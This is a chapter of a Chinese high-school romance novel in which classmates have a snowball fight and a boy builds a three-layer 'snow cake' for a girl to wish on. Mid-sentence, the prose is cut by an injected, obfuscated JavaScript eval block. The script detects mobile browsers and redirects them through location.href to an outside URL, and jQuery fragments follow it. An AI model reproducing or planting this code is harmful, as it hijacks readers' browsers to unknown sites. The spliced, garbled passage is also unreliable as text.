窗外下雪了。
是从某个晚自习开始下的。
下雪的时候，温笙正在写理综卷子，写到物理科目的那一页时，无意间抬头，发现窗棂外悄悄多了一层白。
起初她还以为是雾，可再定睛一看，那些细小的雪粒正在灯光下飘，没有声响，一片片地落进深冬的夜色里。
教室里也有人察觉到，不约而同趴到窗边去看，有人小声惊呼：“真的下雪啦！”
温笙放下笔，托着腮望向窗外，不知道下雪时的老槐树会是什么样。
她甚至忍不住想象，那棵槐树是不是正被一层一层的白覆盖。
后来才知道，那场雪下了一整晚。
等她第二天早晨走出宿舍时，天还没亮，脚踩在地上的时会发出“咯吱”一声，是雪压实的声音，呼出的热气会在空气里化成白雾，没走几步，就被寒风吹散。
就这样，冬天真的来了。
距离那天在老槐树下被拉着跑走，已经过去整整两个月了。
高一的日子不知从哪一天起，突然加快了脚步。
时间翻过十月与十一月，一场接一场的月考和周测把日常都变成了公式和分数。教室换了座位，楼下公告栏的成绩榜贴了又撕，撕了又贴，身上的衣服从短袖变成了棉衣，连食堂的菜色也更新了一轮。
但也有些东西，是没变的。
比如每周六的“补课”。她还是会准时出现在办公室，许家宁一如既往坐在桌对面，翻着她的试卷，红墨水在纸上圈出一道道她不愿面对的错题。
他也还是那个会掏出表计时的人。
“限时二十分钟。”许家宁说完，把表往桌上一放，便靠在椅背上看她解题。等时间一到，手指轻轻敲两下桌面，提醒道：“收卷。”
再比如，她还是会偶尔“路过”高二1班。
有时候是晚自习后背着书包慢悠悠地绕过去一圈，有时候是吃完饭拉着李清妙去接水，非得选那台楼上的水房，说出水快，李清妙也懒得拆穿。
和往常一样，窗台上经常放着一颗奶糖，温笙知道是谁放的，每次路过，她都会装作没看见，动作却比谁都熟练，伸手，拿走，塞进口袋，走人，一气呵成。
等走远了，她才会拆开糖纸，塞进嘴里。嘴里有了甜味，脑子里却还是公式和错题。
算了，起码这颗糖没考她选择题。
再过不到一个月，就要期末了。
下午放学时，李清妙扒在窗边，盯着外面的鹅毛大雪，兴奋地扭头叫她：“温笙温笙，我们去打雪仗吧！”
“啊？”温笙正埋头计算一道物理题，抬起头来，一脸茫然，“什么？”
李清妙激动得在温笙课桌前绕圈，“外面雪下这么大，很适合打雪仗啊！你看，操场上还有人在堆雪人呢。”
“可是我还没有写完作业......”
“不急这十分钟！”李清妙三步并作两步冲到她面前，不等她拒绝，直接从椅背上拿起温笙的围巾，噌地往她脖子上一套。
“走啦走啦！”她一边把温笙往外拖，一边催促道，“再晚点地下的雪就脏啦！而且我已经考了一学期的试了，现在，我要报复学校！”
温笙没来得及收拾书包，只能匆匆把卷子往抽屉里一塞，被她拉着走时忍不住笑了：“你这借口太牵强了吧。”
“你懂就行！”李清妙对她眨眨眼。
到操场时，雪还在下，操场上已经聚了不少人。
有的在堆雪人，有的在互相追着打雪仗，还有胆子大的，干脆把雪塞进同学后脖子里，一边跑一边笑得上气不接下气，连办公室的老师都忍不住探出头看热闹。
李清妙一来就兴冲冲地捏了个雪球，对着温笙一指：“你站那别动啊！”
温笙站在原地，抱着手臂，乖乖地做李清妙的“活靶子”，无奈地说：“你瞄准点啊，别打脸。”
“放心。”李清妙拍了拍雪球，退了几步，脚在雪地上蹭出个弧形，眯着眼瞄准，嘴里还念念有词：“物理老师说角度很重要，笙宝，吃我一球！”
说完一甩手，因为用力过猛，雪球“咻”地飞出去，画出一道歪歪扭扭的抛物线。
李清妙大喊：“啊，不对不对！”
啪！
雪球不偏不倚，正好砸在一个刚从教学楼出来的男生脸上。
那男生愣了一下，吐出嘴里的冰渣，目光在操场上扫了一圈，最后落在李清妙那张笑容凝固的脸上。
他旁边的男生往外一偏身，顺势探出半边肩膀，往那边看了一眼。
“你妹妹好像想要谋杀你。”许家宁笑着说，手还插着兜，一脸看热闹不嫌事大的样子。
李清妙正准备过去道歉，见到男生的脸时，脸色一变，拔腿就跑，一边跑一边大喊：“哥！哥我错了！我不是故意的！”
“谁叫你扔雪球往脸上打的！”李长水把书包往地上一扔，追着她就冲了出去，“李清妙你给我站住！”
李清妙被她哥追着满操场乱跑，边跑边求饶：“哥你冷静！哥你别动手！我们是一家人啊！”
另一边，温笙站在原地，手还抱着刚刚当“靶子”时保留下来的姿势。
许家宁走过来，问：“冷吗？”
温笙摇摇头，刚张嘴说“不冷”，结果放下手时，发现手都快冻僵了，赶紧哈了口气暖暖手。
许家宁看着她一边哈气一边跺脚，笑了一下，脱下自己的手套给她，“戴着吧，我刚刚捂热的。”
“那你怎么办？”温笙没接。
“我刚从教学楼出来，准备买个饭就回去，不冷。”许家宁说。
温笙犹豫了一下，还是接过来套上，手套比她手大了一圈，五个指头在里面空荡荡地晃动，握不住也抓不紧，但真的很暖和。
“好大啊......”
“我手比你大，正常。”
操场另一边，李长水正追着他妹妹李清妙满场跑，嘴里嚷着“你等着，打我脸是吧？”，脚下一滑差点摔了个屁股墩，引得周围一阵哄笑。
温笙没忍住也笑了出来，视线落到脚边洁白的积雪上，手一痒，蹲下身捏了个雪球，掂了掂分量，又偷偷看了眼身旁还在看热闹的许家宁。
她眼珠子一转，冲他喊：“许家宁！”
许家宁闻声侧头：“嗯？”
温笙眼神一亮，趁他回头那一刻，“唰”地一甩手，雪球稳稳当当落在许家宁的头上，雪渣散开一圈。
温笙仰着头看他，一本正经地开口：“你白头了。”
许家宁低头抖了抖头发，睫毛上还挂着点细碎的雪。听到她的话时，先是一愣，随即笑出声来：“胆子不小啊，温笙。”
他说着，也慢悠悠地蹲下去，开始捏雪球。
温笙看着他这架势，本想跑，可又觉得她先动手的，现在跑太不好意思，于是她就站在那，双手背在身后，假装镇定：“你不会真要打回来吧？”
“你说呢？”许家宁笑着反问，手上捏雪球的动作没停。
温笙站在原地不动，双手还背在身后，小声补了句，“你别打脸啊。”
“站着别动。”他说。
温笙原本还紧张地盯着他手里的雪球
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260996|181209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，结果对方忽然伸手，从她背后绕过去，扯了扯她松开的围巾，又往上一提。
“围巾没戴好，等等雪要是灌进去了会很痛的。”
温笙刚想说“谢谢”，下一秒感觉到头顶凉凉的，细碎的雪渣从发顶洒下来，顺着发丝落在围巾上。
许家宁退后半步，满意地说：“好了，你也白头了。”
“你不是说不打脸的吗？”温笙拍去头发上的雪渣，抬眼瞪他。
“我又没打脸。”他耸耸肩，刚刚捏雪球的雪还有些在手上，指尖冻得有些发红。
温笙哼了一声，把头发上最后一点雪渣拍掉，嘴上还不服气：“反正你是故意的。”
“对，我是故意的。”许家宁不躲对方瞪过来的眼神，抬头望了一眼天，感叹道：“今天很值得白头啊，雪下这么大。”
他蹲下身，双手捧起了一堆松软干净的积雪，在手心里慢慢拍实，又细细揉圆，一层一层往上堆。
温笙看着，忍不住问：“你在干嘛？”
许家宁没回答，等堆好三层后，站起身，走到一旁那棵老槐树下，拨了拨树根下的落雪，挑出两根差不多粗细的细树枝，拿在掌心里比了比长短，又换了一根。
他看起来不太满意，又蹲下去重新找，最终选中一根最直的最细的树枝，然后又低头，在雪地里翻了翻，捡了两颗差不多大小的小石子，搓干净了雪后走回来。
温笙越看越觉得好奇：“你在做雪人吗？”
许家宁敷衍地“嗯”了一声，把那根最细的树枝插在最上层雪团的正中央，又将那两颗石子按进中间那层雪团，左右对称。
大功告成后，他小心地把成果从雪地里托起来，捧在手心。
“许个愿吧。”
温笙一愣，低头看了看他手里的“雪团”，三层，圆的，最上头插着一根小树枝。
她疑惑地问：“这是？”
许家宁看着自己捧着的东西，认真介绍：“这是蛋糕。”
“这根树枝是蜡烛，雪是蛋糕，石头是点缀。”他说着，手指一一指给她看。
“李长水说，蛋糕是三层的，上面插蜡烛，我照着他说的样子堆了个。”
“我不知道城里的蛋糕到底长什么样，但我想，生日蜡烛应该不是家里那种停电时点的那种。”
雪还在落，许家宁的睫毛和头发上积着一层白雪，他没戴手套，手冻得通红，掌心里的“雪蛋糕”因为他捧得太久，边缘已经开始微微融化。
“许个愿吧。”
“但今天不是我的生日啊。”
温笙虽然也没见过蛋糕，但她知道，那通常是生日才会有的东西。
许家宁看着掌心那团开始融化的“蛋糕”，手冻得通红，但也没有松手，他看着她，认真地说：
“不是生日，也可以吃蛋糕啊。”
“那就庆祝，今天我们都白头了。”
温笙接过“雪蛋糕”，小心地托着，没有让那三层雪团歪掉。
她闭上眼睛，像模像样地许了个愿：“希望我们一起考去首都。”
可其实，她心里真正想的是：
“希望我们真的能白头。”
不只是今天，而是余生。
远处的李长水和李清妙早已停止了打雪仗，两人站着远处，看着温笙闭上眼睛对着“雪蛋糕”许愿。
李清妙问：“哥，许学长之前就这样吗？”
李长水也看傻了，半天才反问一句：“妹，温学妹之前也这样吗？”
过了一会，两人对视一眼，异口同声：“她/他之前不这样啊！”